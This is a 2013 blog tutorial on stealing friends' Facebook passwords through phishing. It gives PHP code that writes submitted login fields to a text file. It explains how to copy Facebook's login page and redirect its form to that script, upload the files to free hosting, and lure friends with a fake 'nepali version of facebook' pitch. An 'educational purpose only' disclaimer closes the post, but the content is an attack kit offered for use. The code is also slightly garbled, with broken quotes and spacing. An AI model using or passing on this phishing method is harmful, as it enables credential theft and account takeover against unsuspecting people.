Monday, January 21, 2013

Tricks on hacking facebook passwords

How to hack your friends' facebook password?

We will we use very popular method to hack facebook account password: phishing. This is one of the best method to hack facebook account password. This will work only if your friends don’t know about this method of hacking facebook. For this, we will need three files:

1.Php page
2.Fake facebook login page
3.Text file to store password

Create Php file
Follow the steps below for this:

Open notepad and copy this code:
header (‘Location:’);
$handle = fopen(“password.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
fwrite($ handle, “\r\n”);
fclose($handle) ;

Now save this as phishing.php
Your php file is now created
If you don’t understand what this php file is doing you need to learn some basic of php. This php file will save information of victim in file password.txt .

Fake Facebook page
Now go to and right click and then View Source. Copy source in notepad and save it as facebooklogin.html. Now open source code of this html file. We need to find the place where login code in facebook page is that redirects the users upon clicking on it. Now Press Crtl+F after opening source code and search for this code: action=anything
In this case we have this
action="" We replace that part with: action="phishing.php"
Save your facebooklogin.html file

Text file
Create a blank text file and name it password.txt
Now upload all the three files Facebooklogin.html, phishing.php, Password.txt in any free web hosting site directory like and now you can just check your fake facebook login page by going to for the fake login page. 

Just type some random user name and any password into the text box and then you will see in your file manager that a file called “Password.txt” is created in which the password is stored.
Alternative to, you may use the following free hosting sites:

Suppose you register with name nepalifacebook. Your link will be  After uploading files, your phishing link will be Send this link to your friends. If they login on your phising site, their password will be save at the server. You can trick your friend to login this fake facebook page by saying that it's nepali version of facebook- check it out, or in any way you like.

The purpose of this article is not to hack others facebook and cause them harm, but rather to get aware of such phisings and protect your facebook. Use this on your own responsibility for educational purpose only